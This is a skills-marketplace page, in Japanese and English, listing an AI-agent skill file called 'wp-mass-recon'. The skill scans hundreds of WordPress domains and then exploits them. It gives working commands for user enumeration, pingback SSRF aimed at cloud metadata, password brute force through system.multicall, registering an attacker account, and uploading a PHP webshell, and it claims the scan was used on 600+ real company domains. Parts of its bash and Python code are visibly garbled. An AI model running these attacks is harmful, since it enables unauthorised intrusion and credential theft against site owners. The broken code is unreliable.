ソース情報
- リポジトリ
- Wyl-cmd/kxns-cli
- ソースの最終更新活動
- 2026年7月25日 08:23
- 検出された SKILL.md の言語
- 英語
- スター
- 4
- フォーク
- 0
インストール方法
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
ソースファイルを確認
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
メニュー
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/Wyl-cmd/kxns-cli --skill wp-mass-reconコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか?SkillsMP が現在取得できるファイルをダウンロードできます。
Hermes Agent features guide — cron, delegation, memory, automation, YOLO mode, dual-agent hunting, and slash commands for the agentiko Telegram setup
Worker container environment — tools, paths, and usage patterns for the remote SSH terminal
Exploit no-auth APIs for data theft and CRUD via probes.
SOC 職業分類に基づく
SKILL.md を表示中
| name | wp-mass-recon |
| description | Batch WP recon: users, CORS, XMLRPC, leaks across domains. |
Batch WordPress vulnerability detection pipeline for scanning dozens to hundreds of domains in parallel. Detects WordPress presence, REST API user enumeration, CORS credential reflection, XMLRPC exposure, open registration, and sensitive file leaks in a single pass. Proven on 600+ US company domains across 28 sectors.
subfinder/crt.sh produces a target list and you need to triage.terminal tool with access to the worker container (curl, httpx, python3, jq)./root/output/targets.txt in format domain|company|sector (one per line).parallel_batch.py available or you use the inline commands below.# Phase 1: Live host discovery + tech detection
httpx -silent -l targets.txt -threads 50 -tech-detect -status-code -title -o /root/output/alive.txt
# Phase 2: WP detection, user enum, CORS, XMLRPC (20 workers)
python3 /root/output/recon_us/new_targets/parallel_batch.py /root/output/targets.txt 20
Or run the 4-phase pipeline manually using the commands in Procedure.
| Check | Command | Positive Signal |
|---|---|---|
| WP detection | curl -skI "https://TARGET/wp-login.php" | HTTP 200/301/302 |
| User enum | curl -sk "https://TARGET/wp-json/wp/v2/users" | JSON with id, name, slug |
| CORS | curl -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | Access-Control-Allow-Credentials: true |
| XMLRPC | curl -sk -X POST "https://TARGET/xmlrpc.php" -d '<methodCall><methodName>demo.sayHello</methodName></methodCall>' | Hello! in body |
| Open reg | curl -sk "https://TARGET/wp-login.php?action=register" | Form with user_login field |
| Source leaks | Parallel curl for .env, wp-config.php.bak, .git/config, debug.log, backup.sql | Real content (not SPA catch-all) |
# Generate target list from crt.sh sector keywords
for sector in "landscaping" "roofing" "hvac" "pools" "plumbing"; do
curl -sk "https://crt.sh/?q=%25.${sector}%25&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u >> /root/output/discovered.txt
done
# Filter to unique domains, remove www prefix
cat /root/output/discovered.txt | sed 's/^www\.//' | sort -u > /root/output/unique_domains.txt
# httpx with tech detection, 50 threads
httpx -silent -l /root/output/unique_domains.txt -threads 50 -tech-detect -status-code -title \
-o /root/output/alive.txt
# Parse to URL list
awk '{print $1}' /root/output/alive.txt | grep -E '^https?://' > /root/output/urls.txt
For each live target, run in parallel (20 workers):
while read -r url; do
domain=$(echo "$url" | sed 's|https\?://||')
(
echo "# $domain Findings" > "/root/output/findings/${domain}_findings.md"
# WP detection
wp_code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "$url/wp-login.php")
[[ "$wp_code" =~ ^(200|301|302|403)$ ]] && echo "- WordPress: YES (wp-login: $wp_code)" >> "/root/output/findings/${domain}_findings.md"
# User enumeration
users=$(curl -sk --max-time 10 "$url/wp-json/wp/v2/users" | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d) if isinstance(d,list) else 0)" 2>/dev/null)
[[ "$users" -gt 0 ]] && echo "- Users exposed: $users" >> "/root/output/findings/${domain}_findings.md"
# CORS credential reflection
cors=$(curl -skI --max-time 10 "$url/wp-json/wp/v2/users" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
[[ -n "$cors" ]] && echo "- CORS: CREDENTIAL REFLECTION CONFIRMED" >> "/root/output/findings/${domain}_findings.md"
xmlrpc=$(curl -sk -o /dev/null -w --max-time 10 -X POST \
-d )
[[ == ]] && >>
reg=$(curl -sk --max-time 10 | grep -o )
[[ -n ]] && >>
path ;
leak_code=$(curl -sk -o /dev/null -w --max-time 5 )
[[ == ]];
content=$(curl -sk --max-time 5 | -c 500)
| grep -qiE ;
>>
) &
[[ $( -r | -l) -ge 20 ]]; 0.5;
< /root/output/urls.txt
# Generate summary
echo "## Mass Recon Summary" > /root/output/mass_summary.md
echo "" >> /root/output/mass_summary.md
for f in /root/output/findings/*_findings.md; do
domain=$(basename "$f" _findings.md)
criticals=$(grep -c "CRITICAL\|CREDENTIAL REFLECTION\|XMLRPC: OPEN\|Source leak: VERIFIED" "$f" || true)
[[ "$criticals" -gt 0 ]] && echo "- **$domain**: $criticals findings" >> /root/output/mass_summary.md
done
# Rank targets by finding count
grep "^\- \*\*" /root/output/mass_summary.md | sort -t: -k2 -rn | head -20
The production-proven approach uses concurrent.futures.ThreadPoolExecutor with 20 workers. Each worker calls curl via subprocess.run. This is 10x faster than bash while loops.
import concurrent.futures, subprocess, json
def curl_code(url, timeout=8):
cmd = ["curl", "-sk", "-m", str(timeout), "-o", "/dev/null", "-w", "%{http_code}", url]
r = subprocess.run(cmd, capture_output=True, timeout=timeout+5)
return r.stdout.decode().strip()
def test_target(domain):
# Determine protocol
proto = None
for p in ["https", "http"]:
code = curl_code(f"{p}://{domain}/")
if code not in ["000", ""]: proto = p; break
if not proto: return None
# WP detection (v2 strict: check login OR json)
login_code = curl_code(f"{proto}://{domain}/wp-login.php")
json_code = curl_code(f"{proto}://{domain}/wp-json/")
is_wp = login_code not in ["000","404",""] or json_code [,,]
is_wp: {:domain, :}
score =
findings = []
body, _ = curl_raw()
:
data = json.loads(body.decode())
(data, ) (data) > :
findings.append()
score +=
:
cmd = [,,,,,,,
]
r = subprocess.run(cmd, capture_output=, timeout=)
hdrs = r.stdout.decode().lower()
acao = [l.split(,)[].strip() l hdrs.split() l]
acac = [l.split(,)[].strip() l hdrs.split() l]
acao acao[] acac acac[] == :
findings.append()
score +=
xml =
body, _ = curl_raw(, method=, data=xml)
txt = body.decode()
txt:
findings.append()
score +=
txt:
findings.append()
body, _ = curl_raw()
rt = body.decode().lower()
rt rt rt:
findings.append()
score +=
score >= : severity =
score >= : severity =
score >= : severity =
score >= : severity =
: severity =
{:domain, :severity, :score, :findings}
targets = [(d.strip(), s.strip()) line () (p := line.split()) (d:=p[]) (s:=p[-] (p)> )]
concurrent.futures.ThreadPoolExecutor(max_workers=) ex:
futures = {ex.submit(test_target, t[]): t t targets}
f concurrent.futures.as_completed(futures):
r = f.result()
r r.get(,) > :
()
.env has DB_/APP_/_KEY/_SECRET patterns; .git/config has [core]; SQL files have CREATE TABLE/INSERT INTO. Skip bodies with <html or <script in first 100 chars.curl -sk --http1.0 "https://TARGET/wp-json/..."/blog/, /magical/, /wp/ in addition to root. ecommerce-wine.com has /magical/ with separate, more vulnerable WP install.system.listMethods (not just HTTP 200) — look for <string> tags in response XML.?action=register without actually allowing registration. The v2 check requires ALL THREE strings: register + user_login + wp-submit.| Finding | Frequency | Best Sector |
|---|---|---|
| WP user enumeration | ~9% (55/600) | Landscaping, Law Firms |
| Sensitive files (3+) | ~7% (41 sites) | Auto Body, Window Cleaning |
| CORS credential reflection | ~3.3% (20+ sites) | Law Firms, Real Estate |
| XMLRPC system.multicall | ~1.7% (10+ sites) | HVAC, Landscaping |
| PHPInfo/info.php exposed | ~1.7% (~10 sites) | Dental, Gyms |
| MySQL 3306 exposed | 0.17% (1 site) | Healthcare SaaS |
WordPress = 36.5% of all US SMB targets. All CORS/XMLRPC vulns occur EXCLUSIVELY on WordPress.
When wp-mass-recon Phase 3 detects XMLRPC active (HTTP 200 on POST), escalate with the 5-phase exploitation pipeline below. XMLRPC is open on ~52% of WordPress targets.
# Confirm XMLRPC alive
curl -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>'
# Enumerate all available methods
curl -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "import sys,re; print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))" | sort
Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.
| Method | Capability | Severity |
|---|---|---|
system.multicall | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
pingback.ping | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
wp.getUsers | Enumerate WordPress users | Medium |
wp.uploadFile | Upload file to media library | Critical — webshell with valid creds |
wp.getOptions | Read WordPress options (siteurl, admin_email) | Medium |
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
# Verify SSRF with your own callback first (definitive test)
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
# Probing internal services (AWS IMDS, localhost)
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
faultCode reference: faultCode 0 = accepted, faultCode 17 = URL not found, faultCode 32 = blocked/error. Use python3 -c "import sys,re; fc=re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read()); print(fc.group(1) if fc else 'no-fault')" to extract.
Blind SSRF Data Extraction via Timing Oracle: When pingback.ping returns faultCode 0 but you cannot see response content, use timing differences. The server's response time correlates with content SIZE — existing IMDS data returns slower than 404s. Run 3 trials, use median, expect ±50ms jitter.
system.multicall allows 100+ wp.getUsers calls in a single HTTP request — up to 1000x amplification over sequential brute force.
TARGET="$1"
USERNAME="admin"
WORDLIST="/root/tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
Success markers: A successful auth shows isAdmin, blogid, or blogName in the response — not just absence of faultCode 403. LiteSpeed returns HTTP 500 for payloads >50KB — still check the body for success markers.
If the target has open registration AND XMLRPC with wp.uploadFile:
Critical: WordPress 6.x registers new users as SUBSCRIBER — subscribers cannot upload via XMLRPC. Verify role via wp.getProfile first. If subscriber, escalate before attempting upload.
TARGET="$1"
# Step 1: Register user
curl -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"
# Step 2: Verify role
ROLE_CHECK=$(curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Escalate via: brute force admin (multicall), plugin CVE, or app passwords."
exit 1
fi
# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
curl -L follows redirects and loses the actual XMLRPC response. Always use curl -s WITHOUT -L for XMLRPC probes.system.listMethods but return faultCode on actual use. Test with single call first.-H "Accept-Encoding: identity" to curl. Without this, grep finds no faultCodes in compressed binary.X-aws-ec2-metadata-token header. Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.169.254.169.254 → decimal 2852039166 via struct.unpack('!I', socket.inet_aton('169.254.169.254'))[0].Access-Control-Allow-Credentials: true in curl -I response headers.system.listMethods response containing <string> method names.demo.sayHello MUST return Hello! in the response body to confirm XMLRPC functional.pingback.ping SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).id or whoami output from the uploaded webshell.